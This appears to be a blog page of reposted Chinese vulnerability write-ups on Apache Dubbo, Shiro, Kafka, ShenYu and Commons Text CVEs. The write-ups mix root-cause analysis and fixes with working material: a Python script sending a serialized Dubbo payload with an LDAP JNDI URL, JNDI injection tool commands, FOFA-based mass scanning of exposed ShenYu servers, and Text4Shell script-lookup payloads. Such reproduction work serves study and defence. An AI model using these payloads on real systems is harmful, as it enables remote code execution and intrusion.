- Apache -

Dubbo 漏洞 CVE-2020-1948 复现+简单修复

Dubbo 漏洞 CVE-2020-1948 复现+简单修复

本文转自 JingQ 并作补充

关注该漏洞的童鞋，应该对 Dubbo 这个架构优秀的 RPC 框架不陌生，所以直入主题

漏洞详情

腾讯安全玄武实验室研究员发现，Dubbo 2.7.6 或更低版本采用的默认反序列化方式存在代码执行漏洞，当 Dubbo 服务端暴露时(默认端口：20880)，攻击者可以发送未经验证的服务名或方法名的RPC请求，同时配合附加恶意的参数负载。当恶意参数被反序列化时，它将执行恶意代码。

经验证该反序列化漏洞需要服务端存在可以被利用的第三方库，而研究发现极大多数开发者都会使用的某些第三方库存在能够利用的攻击链，攻击者可以利用它们直接对 Dubbo 服务端进行恶意代码执行，影响广泛。

影响版本

dubbo 2.7.6 以下的版本

复现环境

漏洞注入简介

漏洞发现者 rui0，使用 Remo 模块，最终是通过 JdbcRowSetImpl 调用 jndi 来进行远程代码执行

由于该场景复现依赖于低版本的 jdk，之前使用 jdk-8u221 没能复现，去官网下载回低版本，使用低版本后成功复现

名词解释

  • PoC： Proof Of Concept 的缩写。在黑客圈指：观点验证程序。
  • CVE： Common Vulnerabilities & Exposures 通用漏洞披露。
  • Exp：Exploit，在安全方面，翻译为 「利用」，指利用漏洞进行攻击的动作。
  • Payload：翻译为「有效负荷」，指成功 exploit 后，在目标系统执行的代码或指令。
  • RCE：remote code execution 远程命令执行，简称 RCE 漏洞。
  • RMI： 专为 Java 环境设计的远程方法调用机制，远程服务器实现具体的 Java 方法并提供接口，客户端本地仅需根据接口类的定义，提供相应的参数即可调用远程方法并获取执行结果，使分布在不同的 JVM 中的对象的外表和行为都像本地对象一样。
  • LDAP： 轻量级目录访问协议，目录服务是一种以树状结构的目录数据库为基础，外加各种访问协议的信息查询服务
  • JNDI： Java Naming and Directory Interface，包括 Naming Server 和 Directory Server。是一种 Java API，允许客户端通过名称发现和查找数据、对象。这些对象可以存储在不同的命名或目录服务中，例如远程方法调用（RMI），公共对象请求代理体系结构（CORBA），轻型目录访问协议（LDAP）或域名服务（DNS）。

以上大概就是本次漏洞所涉及到的专业名词，先有个大概了解，后面的内容看的应该比较明白。

漏洞复现

复现场景翻阅了很多篇文章和尝试，发现通过别人构造的 payload 来复现最为简单，所以这里记录一下复现的流程

模拟 Provider

攻击依赖于 rome 工具包中的 ToStringBean 工具，所以无论下载什么提供者项目，都需要将以下依赖加入到 POM.xml 文件中

1
2
3
4
5
<dependency>
    <groupId>com.rometools</groupId>
    <artifactId>rome</artifactId>
    <version>1.7.0</version>
</dependency>

以 dubbo-spring-boot-project 说明

  • 一、在 github 下载示例代码，切换分支到 2.7.6 或更早之前
  • 二、在 pom.xml 中加入上面提到的 remo 依赖
  • 三、打包启动
1
2
3
4
5
6
// 下载
$ git clone https://github.com/apache/dubbo-spring-boot-project.git
// 切换分支
$ git checkout 2.7.6
// 添加完依赖后，打包
$ mvn clean install -DskipTests

image

  • 四、启动服务提供者

启动的时候，注意要用低版本的 JDK，使用 IDEA 的话，可以在这里选择编译运行的 JRE

image

接着启动 Provier 即可

运行 JNDI 程序

使用了该位大佬的 PoC，里面注入的 URL 是 ldap://127.0.0.1:1389/Exploit，具体原理可以 参考资料六

具体原理说明：

image

以下内容引用自 Apache Dubbo Provider反序列化漏洞(CVE-2020-1948) 利用复现及POC

  • 一、下载注入工具代码
1
$ git clone https://github.com/sayers522/JNDI-Injection-Exploit
  • 二、编译工具包，在 target 目录生成
1
$ mvn clean install -DskipTests
  • 三、运行 JNDI 工具包
1
$ java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar [-C] [command] [-A] [address]

例如测试时，执行的命令是打开计算器，可以执行下面命令

1
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "open /System/Applications/Calculator.app" -A 127.0.0.1

构造 POC

编辑以下 Python 脚本，触发 dubbo provider 反序列化，例如以漏洞名来命名为 2020_1948.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
#-*-coding:utf-8-*-
import socket

def sendEvilObjData(sock):
	payload="DABBC20000000000000000000000037805322E302E3230366F72672E6170616368652E647562626F2E737072696E672E626F6F742E64656D6F2E636F6E73756D65722E44656D6F5365727669636505312E302E300474657374124C6A6176612F6C616E672F4F626A6563743B48433027636F6D2E726F6D65746F6F6C732E726F6D652E666565642E696D706C2E457175616C734265616E92036F626A096265616E436C61737360433029636F6D2E726F6D65746F6F6C732E726F6D652E666565642E696D706C2E546F537472696E674265616E92036F626A096265616E436C61737361431D636F6D2E73756E2E726F777365742E4A646263526F77536574496D706CAC06706172616D73096C697374656E657273036D61700A6368617253747265616D0B617363696953747265616D0D756E69636F646553747265616D0C62696E61727953747265616D0F7374724D61746368436F6C756D6E730D694D61746368436F6C756D6E73057265734D4406726F77734D4402727302707304636F6E6E09666574636853697A650866657463684469720969736F6C6174696F6E1065736361706550726F63657373696E6708726561644F6E6C790B636F6E63757272656E63790C6D61784669656C6453697A65076D6178526F77730C717565727954696D656F75740B73686F7744656C657465640A726F77536574547970650A64617461536F757263650355524C07636F6D6D616E64624D136A6176612E7574696C2E486173687461626C655A4E4E4E4E4E4E56106A6176612E7574696C2E566563746F729A03666F6F4E4E4E4E4E4E4E4E4E56919A8F8F8F8F8F8F8F8F8F8F4E4E4E4E4E90CBE8925454CBF090909046CBEC1D6C6461703A2F2F3132372E302E302E313A313338392F4578706C6F69744E4E430F6A6176612E6C616E672E436C61737391046E616D65631D636F6D2E73756E2E726F777365742E4A646263526F77536574496D706C633029636F6D2E726F6D65746F6F6C732E726F6D652E666565642E696D706C2E546F537472696E674265616E5191519151915A48047061746830366F72672E6170616368652E647562626F2E737072696E672E626F6F742E64656D6F2E636F6E73756D65722E44656D6F5365727669636509696E7465726661636530366F72672E6170616368652E647562626F2E737072696E672E626F6F742E64656D6F2E636F6E73756D65722E44656D6F536572766963650776657273696F6E05312E302E305A"
	sock.send(payload.decode('hex'))

def run(dip,dport):
	sock=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
	server_addr=(dip,dport)
	sock.connect(server_addr)
	sendEvilObjData(sock)

run("127.0.0.1",12345)

最终复现效果：

image

漏洞小结

  • 1、下载 demo 代码，加入 rome 依赖
  • 2、启动 JNDI 服务
  • 3、构造 2020-1948.py Poc 攻击

漏洞原理简述

网上公布的 PoC 代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
from dubbo.codec.hessian2 import Decoder,new_object
from dubbo.client import DubboClient

client = DubboClient('127.0.0.1', 12345)

JdbcRowSetImpl=new_object(
      'com.sun.rowset.JdbcRowSetImpl',
      dataSource="ldap://127.0.0.1:8087/#ExportObject",
      strMatchColumns=["foo"]
      )
JdbcRowSetImplClass=new_object(
      'java.lang.Class',
      name="com.sun.rowset.JdbcRowSetImpl",
      )
toStringBean=new_object(
      'com.rometools.rome.feed.impl.ToStringBean',
      beanClass=JdbcRowSetImplClass,
      obj=JdbcRowSetImpl
      )

resp = client.send_request_and_return_response(
    service_name='org.apache.dubbo.spring.boot.demo.consumer.DemoService',
    method_name='rce',
    args=[toStringBean])

本次漏洞利用的是 com.rometools.rome.feed.impl.ToStringBean#toString 方法，重写了 toString，该方法将会调用构造对象的所有 getter 方法

image

从上面 PoC 可以看到，执行 Dubbo 调用时，传入的是 ToStringBean 类型参数，构造的对象是com.sun.rowset.JdbcRowSetImpl，并且 datasource 属性设置的是 JNDI 暴露的 url，在调用 JdbcRowSetImpl 的 getDatabaseMetaData 方法时，执行 connect 操作，下载远端代码，在 Service Provider 执行，造成攻击。

image

调起 toString 方法的地方是在 Dubbo Provider 接收 DecodeHandler#received:44 请求，在 DecodeableRpcInvocation#decode 反序列化参数的地方：

image

dubbo 默认使用的是 hession2 序列化，解析参数执行的是这个方法

org.apache.dubbo.common.serialize.hessian2.Hessian2ObjectInput#readUTF

在 hession 反序列化过程中，通过下面代码段执行到了 ToStringBean#toString

image

至此，注入攻击的流程到这里执行完成。可以参考左下侧的堆栈链路：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
connect:624, JdbcRowSetImpl (com.sun.rowset)
getDatabaseMetaData:4004, JdbcRowSetImpl (com.sun.rowset)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
toString:158, ToStringBean (com.rometools.rome.feed.impl)
toString:129, ToStringBean (com.rometools.rome.feed.impl)
beanHashCode:198, EqualsBean (com.rometools.rome.feed.impl)
hashCode:180, EqualsBean (com.rometools.rome.feed.impl)
hash:339, HashMap (java.util)
put:612, HashMap (java.util)
doReadMap:145, MapDeserializer (com.alibaba.com.caucho.hessian.io)
readMap:126, MapDeserializer (com.alibaba.com.caucho.hessian.io)
readObject:2703, Hessian2Input (com.alibaba.com.caucho.hessian.io)
readObject:2278, Hessian2Input (com.alibaba.com.caucho.hessian.io)
readObject:2080, Hessian2Input (com.alibaba.com.caucho.hessian.io)
readObject:2074, Hessian2Input (com.alibaba.com.caucho.hessian.io)
readObject:92, Hessian2ObjectInput (org.apache.dubbo.common.serialize.hessian2)
decode:139, DecodeableRpcInvocation (org.apache.dubbo.rpc.protocol.dubbo)
decode:79, DecodeableRpcInvocation (org.apache.dubbo.rpc.protocol.dubbo)
decode:57, DecodeHandler (org.apache.dubbo.remoting.transport)
received:44, DecodeHandler (org.apache.dubbo.remoting.transport)
run:57, ChannelEventRunnable (org.apache.dubbo.remoting.transport.dispatcher)

社区讨论&安全网站修复建议

  • 合并社区 aquariuspj 用户给出的对 DecodeableRpcInvocation 增加入参类型校验

    修复分支 #6374

  • 漏洞发现者 rui0 建议删除 RpcInvocation 类的 toString 方法中输出的 arguments 参数,防范后反序列化攻击。同时对 Hessian 进行黑白名单加固来防范 Hessian 反序列化攻击。
    评论建议

还有阿里云官方的安全建议

目前官方还未发布针对此漏洞绕过手法的补丁，在阿里云提供一个月的默认防御期限内，建议客户参考以下方法进行缓解，并关注官方补丁动态，及时进行更新：

思考分析&修复思路

复现条件有限

需要引入 rome 类型的 jar 包，包含特殊的构造方法和 toString 方法（或许还有其它攻击点）

社区讨论内容

社区讨论和 commit 的内容，增加了前置校验，在反序列化之前判断服务或方法是否有效，非 $invoke 或 $echo 方法将会抛出错误，不进行参数的反序列化，增加了一点攻击难度。但由于方法名 methodName 可以用户自定义，所以修改方法名还是有可能跳过校验，触发漏洞

image

结合业务分析

业务方使用 rome 依赖的很少，构造这种类型的攻击，由于没有这个类，在 provider 反序列化时会提前报 classNotFoundException，没有执行到 readObject 方法，从而无法攻击。

综上所述，考虑到修复难度和影响范围，最后对 dubbo 修改方案如下：

  • 1、合并社区针对改漏洞的修复分支 #6374
  • 2、将 RpcInvocation#toString 方法中 Arrays.toString(arguments) 移除，避免对输入参数进行反序列化

絮叨

隔行如隔山，一山还有一山高，修复漏洞真困难。感慨漏洞发现者们，多亏这些白帽子的仔细，揭露了这么多可攻击点，将漏洞信息提交到安全中心，让使用方了解到漏洞详情。

还有 Dubbo 这个中间件的社区活跃度很高，出现问题后，大家讨论的热情高涨，积极去修复漏洞，社区活跃度高，代码更新快，支持的功能越来越多，使用起来也更放心。

通过这次分析，了解到挺多基础的安全知识，感觉随着开源代码被研究更透彻，可供攻击的点也越来越多，在代码设计和编写时，也得注意一下安全信息，避免被攻击。

参考资料

1、Apache Dubbo Provider 远程代码执行漏洞 (CVE-2020-1948)

2、Apache Dubbo Provider反序列化漏洞(CVE-2020-1948) 利用复现及POC

3、Apache Dubbo (CVE-2020-1948) 反序列化漏洞及其补丁绕过深度分析

4、Apache Dubbo漏洞CVE-2020-1948分析

5、Java 中 RMI、JNDI、LDAP、JRMP、JMX、JMS那些事儿（上）

6、LADP、RMI 注入程序原理说明

7、示范例子使用的注入程序

8、Apache Dubbo Provider反序列化漏洞(CVE-2020-1948)

9、marshalsec 工具包

10、渗透中 PoC、Exp、Payload 与 Shellcode 的区别

11、Github 社区讨论

Apache Shiro身份验证绕过漏洞（CVE-2022-40664）

Apache Shiro身份验证绕过漏洞（CVE-2022-40664）

本文转自 安博通 并作补充

漏洞信息

CVE编号：CVE-2022-40664

CNVD编号：CNVD-2022-68497

Apache Shiro是一款功能强大且易于使用的Java安全框架，主要包含身份验证、授权、加密和会话管理等功能，可用于保护任何应用程序。

  • 身份验证：用户登录
  • 授权：访问控制
  • 加密：保护或隐藏数据不被窥探
  • 会话管理：管理每个用户的状态

Apache Shiro身份验证绕过漏洞，是通过RequestDispatcher转发或包含时Shiro中的身份验证绕过而产生的漏洞。在Apache Shiro 1.10.0之前，攻击者可构造恶意代码利用该漏洞绕过shiro的身份验证，从而获取用户的身份权限。

影响范围

Apache Shiro < 1.10.0

修复建议

直接升级，升级补丁链接如下：

https://shiro.apache.org/download.html

安全防护

该漏洞是代码中函数逻辑问题导致的。当代码中存在一些特殊的调用和逻辑时，就可能触发该漏洞，因此远程请求是合法请求，没有恶意特征，安全厂商暂无法提取规则。

漏洞研究

漏洞复现

问题复现demo代码。

image

两个URL分别为/permit/{value}和/filterOncePerRequest/{value} 。

请求/permit/{value}时，被要求鉴权并拒绝。

image

请求/filterOncePerRequest/{value}时，成功绕过鉴权。

image

代码研究

Shiro 1.9（漏洞版本）和1.10（修复后版本），修改点在org.apache.shiro.web.servlet.OncePerRequestFilter.doFilter处，修改前1.9版本如下：

image

修改后1.10版本如下：

image

显然在判断request.getAttribute(alreadyFilteredAttributeName) 不为空的同时，添加了必须保证filterOncePerRequest也为True的条件。

从上面代码可以看出，在该请求处理过第一次之后，为请求添加了属性shiroFilter.FILTERED=true，在第二次forward请求进来时，会进到第一个if，跳过本Filter的执行。这种处理方式可能就是漏洞产生的原因。

在改动处打断点并debug，发送如下请求：

1
2
3
4
5
6
7
8
GET /filterOncePerRequest/any HTTP/1.1
Host: 172.31.1.101:8081
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: keep-alive
Upgrade-Insecure-Requests: 1

经过判断，被判定为Filter ‘{}’ not yet executed. Executing now，表明该请求并没有进入过滤器。

image

如代码所示，发送GET /filterOncePerRequest/any请求后，会使用内部forward命令，再次发起GET /permit/any请求。

image

这时发现对于forward请求拦截器根本不会拦截，由此可见漏洞原因确实如前文所述：在该请求处理第一次后，为请求添加了属性shiroFilter.FILTERED=true，在第二次forward请求进来时，会进到第一个if，跳过本Filter的执行，直接绕过了filter拦截器。

原因分析

因为代码逻辑存在漏洞，1.10.0之前的版本在请求forward时不进行拦截鉴权，导致在代码里存在对请求进行forward处理时，对应请求会绕过鉴权的问题。

CVE-2025-27817 Apache Kafka Client 任意文件读取与SSRF 漏洞分析复现

CVE-2025-27817 Apache Kafka Client 任意文件读取与SSRF 漏洞分析复现

本文转自 hahaha123 并作补充

一、漏洞成因

该漏洞源于Apache Kafka Client在配置SASL/OAUTHBEARER连接时，对sasl.oauthbearer.token.endpoint.url和sasl.oauthbearer.jwks.endpoint.url参数的安全控制存在缺陷。攻击者可通过构造恶意URL参数，利用该缺陷实现任意文件读取或发起SSRF请求（访问非预期目标地址）。

二、影响版本

3.1.0 <= Apache Kafka <= 3.9.0

三、漏洞复现

image

image

四、漏洞分析

根据漏洞触发点所对应的路由 connectors，可定位至以下相关代码：

image

147-152行代码对传入的信息处理，以及创建示例等，漏洞入口是：

1
herder.putConnectorConfig(name, configs, createRequest.initialTargetState(), false, cb);

继续跟进putConnectorConfig方法，
这里会跟到两个类：StandaloneHerder 和 DistributedHerder,之前说的修复点也确实是这里，基本可以确定这是入口点，我们看DistributedHerder吧

1
2
3
4
5
6
7
8
9
10
11
12
@Override
public void putConnectorConfig(final String connName, final Map config, final TargetState targetState,
                               final boolean allowReplace, final Callback&gt; callback) {
    log.trace("Submitting connector config write request {}", connName);
    addRequest(
        () -&gt; {
            doPutConnectorConfig(connName, config, targetState, allowReplace, callback);
            return null;
        },
        forwardErrorAndTickThreadStages(callback)
    );
}

继续跟进doPutConnectorConfig方法，这里的config，就是先前connector路由传的json数据

image

然后跟进validateConnectorConfig方法

image

image

进入validateConnectorConfig方法，到现在，逻辑检验都是普通的，所以就不多赘述了,继续跟进

image

调用了:

1
2
3
protected Connector getConnector(String connType) {
    return tempConnectors.computeIfAbsent(connType, k -&gt; plugins().newConnector(k));
}

利用 plugins().newConnector() 动态加载类，例如：MirrorSourceConnector

image

这里可以看到根据json数据的config[‘‘]=*.MirrorSourceConnector调用MirrorSourceConnector这个Connector用于后续的执行

后续跟进的话可以看到通过反射调用Connector：

1
Class&lt;?&gt; klass = loader.loadClass(classOrAlias, false);

回到AbstractHerder类，继续分析接下来的逻辑

image

接下来就是确定connectorType为sink or source，然后对数据进行处理等，可以自己看

image

在java config = connector.validate(connectorProps);
跟进：

1
2
3
4
5
6
7
8
@Override
public org.apache.kafka.common.config.Config validate(Map props) {
    List configValues = super.validate(props).configValues();
    validateExactlyOnceConfigs(props, configValues);
    validateEmitOffsetSyncConfigs(props, configValues);

    return new org.apache.kafka.common.config.Config(configValues);
}

接下来进入到validate验证阶段，这里就很绕了，我们知道是MirrorSourceConnector这个Connector创建了Tasks，所以他肯定要进到这个方法

image

可以看到过了validate初始验证，进入到start方法，继续跟进，由于漏洞触发点是认证相关，我们断点在认证的各个方法，一个一个看

image

这里进入到认证阶段forwardingAdmin

image

实例化ForwardingAdmin实现类

image

通过json数据中的值：

1
2
3
"****": "SASL_PLAINTEXT",
"****": "OAUTHBEARER",
"****": "****.OAuthBearerLoginCallbackHandler",

来调用相关认证方法，然后调用create方法（漏洞触发点）

image

通过

1
URL tokenEndpointUrl = cu.validateUrl(SASL_OAUTHBEARER_TOKEN_ENDPOINT_URL);

获取json中的sasl.oauthbearer.token.endpoint.url，继续跟进

image

这里可以看到java accessTokenRetriever.retrieve();返回了文件信息，我们向上追踪

image

发现需要传参，全局搜new FileTokenRetriever(

image

发现就在Create方法内，尴尬……

好，利用链如下：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
[1] 用户提交 Connector 配置请求（HTTP API）
    |
    |--&gt; REST API: Connect REST `/connectors` 接口处理 connector 配置
    |
[2] WorkerConfig / ConnectorConfig 解析配置（Map）
    |
[3] validateConnectorConfig(...) 进行 connector 配置验证
    |
[4] connector.config() -&gt; 返回 ConfigDef
    |
    |--&gt; connector.validate(...)（触发 MirrorSourceConnector.validate()）
           |
           |--&gt; validateExactlyOnceConfigs(...)
           |--&gt; validateEmitOffsetSyncConfigs(...)
    |
[5] connector.start(props)
    |
    |--&gt; new MirrorSourceConfig(props)
           |
           |--&gt; super(props) --&gt; AbstractConfig 初始化
           |
           |--&gt; createAdmin(...)（构造 ForwardingAdmin）
                  |
                  |--&gt; forwardingAdmin(config)
                          |
                          |--&gt; get(FORWARDING_ADMIN_CLASS)
                          |--&gt; Utils.newParameterizedInstance(...)
                          |
                          |--&gt; KafkaMirrorMakerClientBasedAdmin.create(...)
                                   |
                                   |--&gt; OAuthBearerLoginModule / SaslClientAuthenticator 初始化
                                          |
                                          |--&gt; AccessTokenRetriever.create(...)
                                                  |
                                                  |--&gt; cu.validateUrl(SASL_OAUTHBEARER_TOKEN_ENDPOINT_URL)
                                                  |
                                                  |--&gt; protocol == "file" ?
                                                        --&gt; new FileTokenRetriever(Path)
                                                              |
                                                              |--&gt; init()
                                                                      |
                                                                      |--&gt; Utils.readFileAsString(path)
                                                                                 |
                                                                                 |--&gt; Files.readAllBytes(...)

查看文件结果看这个路由：

image

获取statusBackingStore中对应Connector的tasks，结果就在tasks[‘trace’]里，可以自己看看这个的逻辑，这里就不多说了

环境搭建

下载3.9.0源码包
gradle构建一下，然后运行命令：

1
2
3
./bin/zookeeper-server-start.sh config/zookeeper.properties
./bin/kafka-server-start.sh config/server.properties
./bin/connect-distributed.sh config/connect-distributed.properties

这里的connect-distributed.sh如果需要用idea调试的话，最好在里面加上debug，用idea的jvm连接

五、修复方式

Standalone模式：修改connect-standalone.properties中的listeners或rest.host.name字段Distributed模式：修改connect-distributed.properties中的listeners或rest.host.name字段使用流量防护设备（如WAF、防火墙）拦截/connectors接口请求中携带敏感文件路径的恶意流量

END

DIFF一下，一眼就能发现3.9.1对uri进行了校验：

1
2
3
4
5
6
7
8
9
10
11
12
13
// AccessTokenRetrieverFactory.java
public static AccessTokenRetriever create(Map<String, ?> configs, Map<String, Object> metadata) {
    ConfigurationUtils cu = new ConfigurationUtils(configs);
    cu.throwIfURLIsNotAllowed(SASL_OAUTHBEARER_TOKEN_ENDPOINT_URL);  // 新增校验
    // ...原有逻辑
}

// VerificationKeyResolverFactory.java
public static VerificationKeyResolver create(Map<String, ?> configs) {
    ConfigurationUtils cu = new ConfigurationUtils(configs);
    cu.throwIfURLIsNotAllowed(SASL_OAUTHBEARER_JWKS_ENDPOINT_URL);  // 新增校验
    // ...原有逻辑
}

漏洞点就是这个。好啦，结束。高中生，菜勿喷。

Apache ShenYu Admin 身份验证绕过漏洞（CVE-2021-37580）漏洞复现及POC脚本编写

Apache ShenYu Admin 身份验证绕过漏洞（CVE-2021-37580）漏洞复现及POC脚本编写

本文转自rabbitsafe并作补充

Apache ShenYu Admin爆出身份验证绕过漏洞，攻击者可通过该漏洞绕过JSON Web Token (JWT)安全认证，直接进入系统后台。 Apache ShenYu 是应用于所有微服务场景的，可扩展、高性能、响应式的 API 网关解决方案。

Apache ShenYu Admin 存在身份验证绕过漏洞。 ShenyuAdminBootstrap 中 JWT 的错误使用允许攻击者绕过身份验证，攻击者可通过该漏洞直接进入系统后台。

CVE 编号 CVE-2021-37580

影响版本： Apache ShenYu 2.3.0 Apache ShenYu 2.4.0

漏洞复现：

该漏洞主要是接口文件dashboardUser未设置访问权限，攻击者可以直接访问该文件获取管理员帐号和口令

通过FOFA查找使用Apache ShenYu系统

fofa:fid=”uPGDN6V9UWnc+KJdy5wdkQ==”

通过BurpSuite发送数据包，GET /dashboardUser

还需要生成jwt，将生成的jwt数据带入head，发送数据包

image

通过返回数据包，可获取管理员帐号和口令，登录系统后台。

通过pocsuite3下的POC扫描脚本CVE-2021-37580.py验证漏洞。

image

脚本研发过程也非常简单，主要是发送GET数据包到/dashboardUser，通过返回数据包进行判断是否存在漏洞。

关键代码贴出来：

generateToken()主要是生成jwt，将生成的jwt数据带入head

image

check(url)主要是验证漏洞函数

image

check(url)验证漏洞函数返回2个值，一个是状态，一个是漏洞结果，存在漏洞返回真和漏洞结果。

image

利用pocsuite3下的POC扫描脚本CVE-2021-37580.py

image

通过fofaviewer导出fofa结果，保存url到url.txt中，可批量验证漏洞

python3 cli.py -r CVE-2021-37580.py -f url.txt –threads 10

可以发现大量存在漏洞的系统。

POC代码：https://github.com/rabbitsafe/CVE-2021-37580

Apache Kafka 远程代码执行漏洞复现及攻击拦截 (CVE-2023-25194)

Apache Kafka 远程代码执行漏洞复现及攻击拦截 (CVE-2023-25194)

本文转自云鲨RASP 并作补充

漏洞简介

Apache Kafka是一个分布式数据流处理平台，可以实时发布、订阅、存储和处理数据流。Kafka Connect是一种用于在kafka和其他系统之间可扩展、可靠的流式传输数据的工具。攻击者可以利用基于SASLJAAS 配置和SASL 协议的任意Kafka客户端，对Kafka Connect worker 创建或修改连接器时，通过构造特殊的配置，进行JNDI 注入来实现远程代码执行。

影响版本

2.4.0<=Apache kafka<=3.3.2

修复方案

更新Apache Kafka至官方最新版本

环境搭建

通过https://github.com/vulhub/vulhub搭建

漏洞复现

exp可参考：

https://github.com/projectdiscovery/nuclei-templates/blob/5d90e8275084b0ae9166ec38cacd22e5a5a94fb8/http/vulnerabilities/apache/apache-druid-kafka-connect-rce.yaml

发起攻击请求：

构造payload ,执行新建/tmp/test.txt文件

image

验证漏洞存在，文件新建成功

image

开启RASP后发起攻击：

在业务优先模式下，RASP会出现JNDI注入的告警，拦截最终的命令执行

image

堆栈信息为

image

在防护模式下将直接在JNDI注入处被拦截

image

堆栈信息为

image

漏洞分析

开始

1
org.apache.kafka.clients.producer.KafkaProducer#KafkaProducer(java.util.Properties)

image

跟进到

1
org.apache.kafka.clients.producer.KafkaProducer#KafkaProducer(java.util.Propertiesorg.apache.kafka.common.serialization.Serializer<K>,org.apache.kafka.common.serialization.Serializer<V>)

image

调用

1
org.apache.kafka.common.utils.Utils#propsToMap

对传入对象进行处理

image

将map型的对象传入

1
org.apache.kafka.clients.producer.KafkaProducer#KafkaProducer(java.util.Map<java.lang.String,java.lang.Object>org.apache.kafka.common.serialization.Serializer<K>org.apache.kafka.common.serialization.Serializer<V>)

image

之后调用

1
org.apache.kafka.clients.producer.ProducerConfig#appendSerializerToConfig

image

将返回的newConfigs传入

1
org.apache.kafka.clients.producer.ProducerConfig#ProducerConfig(java.util.Map<java.lang.String,java.lang.Object>)

image

将配置参数传入

1
org.apache.kafka.clients.producer.KafkaProducer#KafkaProducer(org.apache.kafka.clients.producer.ProducerConfig,org.apache.kafka.common.serialization.Serializer<K>org.apache.kafka.common.serialization.Serializer<V>org.apache.kafka.clients.producer.internals.ProducerMetadata,org.apache.kafka.clients.KafkaClientorg.apache.kafka.clients.producer.internals.ProducerInterceptors<K,V>org.apache.kafka.common.utils.Time)

image

赋值后调用

1
org.apache.kafka.clients.producer.KafkaProducer#newSender

image

image

调用到

1
org.apache.kafka.clients.ClientUtils#createChannelBuilder

image

赋值后调用

1
org.apache.kafka.common.network.ChannelBuilders#clientChannelBuilder

image

这里对值做了一个判断后调用

1
org.apache.kafka.common.network.ChannelBuilders#create

image

image

image

Create方法中得到map型的configs后进行switch，得到SaslChannelBuilder类型channelBuilder的对象，switch结束后调用了

1
org.apache.kafka.common.network.SaslChannelBuilder#configure

image

image

1
org.apache.kafka.common.network.SaslChannelBuilder#configure

进入循环后到

1
org.apache.kafka.common.security.authenticator.LoginManager#acquireLoginManager

image

image

image

判断值后到

1
org.apache.kafka.common.security.authenticator.LoginManager#LoginManager

image

image

跟进到

1
org.apache.kafka.common.security.authenticator.AbstractLogin#login

image

调用

1
javax.security.auth.login.LoginContext#login

image

调用

1
javax.security.auth.login.LoginContext#invokePriv

image

调用

1
javax.security.auth.login.LoginContext#invoke

进行逻辑判断后调用initialize方法

image

image

Initialize中得到userProvider

image

user.provider.url通过jndi提供

image

调用

1
com.sun.security.auth.module.JndiLoginModule#login

image

调用

1
com.sun.security.auth.module.JndiLoginModule#attemptAuthentication

image

通过

1
javax.naming.InitialContext#lookup(java.lang.String)

执行userProvider的值

image

image

由于RASP对javax.naming.InitialContext.lookup调用做了防护策略检测，所以会在此处拦截。

Reference

text4shell CVE-2022-42889 poc

text4shell CVE-2022-42889 poc

本文转自雨苁 并作补充

漏洞描述

在 Apache Common Text 包 1.5 到 1.9 中发现了一个存在缺陷的代码执行版本。攻击者从 Apache Commons Text 中包含的过程中成功完成，插值可能被动态定义。服务器应用程序会受到影响(RCE) 和不受远程服务器的隐私接触的影响。

Apache Commons Text 执行变量插值，允许动态评估和扩展属性。插值的标准格式是“${prefix:name}”，其中“prefix”用于定位执行插值的 org.apache.commons.text.lookup.StringLookup 的实例。从 1.5 版到 1.9 版，默认 Lookup 实例集包括可能导致任意代码执行或与远程服务器联系的插值器。这些查找是： – “script” – 使用 JVM 脚本执行引擎 (javax.script) 执行表达式 – “dns” – 解析 dns 记录 – “url” – 从 url 加载值，包括来自远程服务器 如果使用了不受信任的配置值，则在受影响的版本中使用插值默认值的应用程序可能容易受到远程代码执行或与远程服务器的无意接触的影响。

建议用户升级到 Apache Commons Text 1.10.0，默认情况下禁用有问题的插值器。

影响范围

  • 如果您依赖于使用 1.10.0 之前的 commons-text 版本的软件，您可能仍然不会受到攻击：只有当该软件使用StringSubstitutorAPI 而没有正确清理任何不受信任的输入时，您才会受到影响。
  • 如果您自己的软件使用 commons-text，请仔细检查它是否使用StringSubstitutorAPI，而没有正确清理任何不受信任的输入。如果是这样，更新到 1.10.0 可能是一个快速的解决方法，但推荐的解决方案是同时正确验证和清理任何不受信任的输入。

Apache Commons Text 是一个低级库，用于执行各种文本操作，例如转义、计算字符串差异以及用通过插值器查找的值替换文本中的占位符。使用字符串替换功能时，一些可用的插值器可以触发网络访问或代码执行。这是有意的，但这也意味着如果应用程序在传递给替换的字符串中包含用户输入而未对其进行适当清理，则攻击者将允许攻击者触发这些插值器。

出于这个原因，Apache Commons Text 团队决定将配置更新为“默认情况下更安全”，从而减轻无法验证输入的影响，并且不会让攻击者访问这些插值器。但是，仍然建议用户谨慎对待不受信任的输入。

我们目前不知道有任何应用程序将不受信任的输入传递给替代者，因此在 Apache Commons Text 1.10.0 之前可能会受到此问题的影响。

此问题与Log4Shell (CVE-2021-44228)不同，因为在 Log4Shell 中，可以从日志消息正文中进行字符串插值，该正文通常包含不受信任的输入。在 Apache Common Text issue 中，相关方法明确用于执行字符串插值并明确记录在案，因此应用程序不太可能在没有适当验证的情况下无意中传递不受信任的输入。

漏洞利用条件

为了利用这些漏洞，必须满足以下要求：

CVE-2022-42889 poc

1
${script:javascript:java.lang.Runtime.get.Runtime().exec(\''.trim($cmd).'\')}

用有效负载替换参数值：

1
2
3
${script:javascript:java.lang.Runtime.getRuntime().exec('nslookup COLLABORATOR-HERE')}

